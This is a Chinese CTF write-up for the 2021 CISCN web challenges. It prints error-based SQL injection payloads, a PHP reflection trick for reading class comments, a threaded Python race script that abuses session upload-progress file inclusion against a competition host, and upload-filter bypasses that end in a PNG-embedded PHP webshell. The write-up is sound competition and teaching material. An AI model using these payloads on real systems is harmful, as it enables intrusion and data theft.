2021_CISCN_WEB_WP

国赛。

easy_sql

无列名。

1
2
3
1') or extractvalue(1,concat(0x7e,(select * from(select * from flag a join (select * from flag)b using(id,no))c),0x7e)) %23
1') or extractvalue(1,concat(0x7e,(select `4a9ad912-9910-4909-82f4-0fe381be9798` from flag),0x7e)) %23
1') or extractvalue(1,concat(0x7e,(select substr((select `4a9ad912-9910-4909-82f4-0fe381be9798` from flag),12)),0x7e)) %23

拼接得到 flag。

1
CISCN{x4lPe-j6y1T-ThuQ3-Dhd30-ZlZSt-}

easy_source

原题,https://r0yanx.com/2020/10/28/fslh-writeup/

swo 源码泄露

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
本题目没有其他代码了噢,就只有这一个文件,虽然你看到的不完全,但是你觉得我会把flag藏在哪里呢,仔细想想文件里面还有什么?
<?php
class User
{
private static $c = 0;

function a()
{
return ++self::$c;
}

function b()
{
return ++self::$c;
}

function c()
{
return ++self::$c;
}

function d()
{
return ++self::$c;
}

function e()
{
return ++self::$c;
}

function f()
{
return ++self::$c;
}

function g()
{
return ++self::$c;
}

function h()
{
return ++self::$c;
}

function i()
{
return ++self::$c;
}

function j()
{
return ++self::$c;
}

function k()
{
return ++self::$c;
}

function l()
{
return ++self::$c;
}

function m()
{
return ++self::$c;
}

function n()
{
return ++self::$c;
}

function o()
{
return ++self::$c;
}

function p()
{
return ++self::$c;
}

function q()
{
return ++self::$c;
}

function r()
{
return ++self::$c;
}

function s()
{
return ++self::$c;
}

function t()
{
return ++self::$c;
}

}

$rc=$_GET["rc"];
$rb=$_GET["rb"];
$ra=$_GET["ra"];
$rd=$_GET["rd"];
$method= new $rc($ra, $rb);
var_dump($method->$rd());

猜测 flag 藏在类注释中,所以我们可以利用 php 内置类 ReflectionMethodgetDocComment 函数来读取 User 类中各个函数的注释,可以构造: ?rc=ReflectionMethod&ra=User&rb=a&rd=getDocComment(这里用 __toString 也彳亍)

逐个函数爆破:

flag 在 q 里面。

1
CISCN{TpVpe-HP8w2-3kFCF-4EZTO-hyAy0-}

middle_source

.listing 信息搜集,session.upload_progress 文件包含利用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import io
import threading
import requests
sessid = '233333333333'
data = {"cf": f"../../../../../var/lib/php/sessions/acafaecced/sess_{sessid}"}


def write(session):
while True:
f = io.BytesIO(b' ' * 1024 * 50)
resp = session.post('http://123.60.215.249:25900/',
data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php var_dump(readfile("/etc/acgfdffhbd/gfediefagf/hedbfegbjb/eegcbdabad/ibadcafecb/fl444444g")); ?>'},
files={'file': ('help.txt', f)}, cookies={'PHPSESSID': sessid})
# resp = session.post('http://123.60.215.249:25900/', data={ 'PHP_SESSION_UPLOAD_PROGRESS': '<?php var_dump(
# scandir("/etc/acgfdffhbd/gfediefagf/hedbfegbjb/eegcbdabad/ibadcafecb/")); ?>'}, files={'file': ('help.txt',
# f)}, cookies={'PHPSESSID': sessid})


def read(session):
while True:

resp = session.post('http://123.60.215.249:25900/', data=data)
print(resp.text)
event.clear()


if __name__ == "__main__":
event = threading.Event()
with requests.session() as session:
for i in range(1, 30):
threading.Thread(target=write, args=(session,)).start()
for i in range(1, 30):
threading.Thread(target=read, args=(session,)).start()
event.set()

flag:CISCN{FhDKa-MuU0P-FJ9lj-MsZcg-6hXCa-}

upload

example.php 源码泄露。

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
if (!isset($_GET["ctf"])) {
highlight_file(__FILE__);
die();
}

if(isset($_GET["ctf"]))
$ctf = $_GET["ctf"];

if($ctf=="upload") {
if ($_FILES['postedFile']['size'] > 1024*512) {
die("这么大个的东西你是想d我吗?");
}
$imageinfo = getimagesize($_FILES['postedFile']['tmp_name']);
if ($imageinfo === FALSE) {
die("如果不能好好传图片的话就还是不要来打扰我了");
}
if ($imageinfo[0] !== 1 && $imageinfo[1] !== 1) {
die("东西不能方方正正的话就很讨厌");
}
$fileName=urldecode($_FILES['postedFile']['name']);
if(stristr($fileName,"c") || stristr($fileName,"i") || stristr($fileName,"h") || stristr($fileName,"ph")) {
die("有些东西让你传上去的话那可不得了");
}
$imagePath = "image/" . mb_strtolower($fileName);
if(move_uploaded_file($_FILES["postedFile"]["tmp_name"], $imagePath)) {
echo "upload success, image at $imagePath";
} else {
die("传都没有传上去");
}
}

example.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
if (!isset($_GET["ctf"])) {
highlight_file(__FILE__);
die();
}

if(isset($_GET["ctf"]))
$ctf = $_GET["ctf"];

if($ctf=="poc") {
$zip = new \ZipArchive();
$name_for_zip = "example/" . $_POST["file"];
if(explode(".",$name_for_zip)[count(explode(".",$name_for_zip))-1]!=="zip") {
die("要不咱们再看看?");
}
if ($zip->open($name_for_zip) !== TRUE) {
die ("都不能解压呢");
}

echo "可以解压,我想想存哪里";
$pos_for_zip = "/tmp/example/" . md5($_SERVER["REMOTE_ADDR"]);
$zip->extractTo($pos_for_zip);
$zip->close();
unlink($name_for_zip);
$files = glob("$pos_for_zip/*");
foreach($files as $file){
if (is_dir($file)) {
continue;
}
$first = imagecreatefrompng($file);
$size = min(imagesx($first), imagesy($first));
$second = imagecrop($first, ['x' => 0, 'y' => 0, 'width' => $size, 'height' => $size]);
if ($second !== FALSE) {
$final_name = pathinfo($file)["basename"];
imagepng($second, 'example/'.$final_name);
imagedestroy($second);
}
imagedestroy($first);
unlink($file);
}

}

可以用这个过 getimagesize:

1
2
#define width 1
#define height 1

用 %C4%B0 通过 mb_strtolower urldecode 绕过 i 的过滤。利用 https://github.com/huntergregal/PNG-IDAT-Payload-Generator/ 绕过图片检查。

修改一下脚本,将 generate.py 中的值取出来:

丢到 010 里面改一下:

再转回去:

最后修改脚本里的值,生成图片🐎:python generate.py -m php -o a.png

然后完事了,后面的自行脑补。

filter

Yii2 框架链子,不会,等 guoke 和赵总带带了。

babyblog

/templates/ 下源码泄露。

toktok

```
POST /admin
username=admin&password=admin

获得一个 VPN 的 apk,逆向?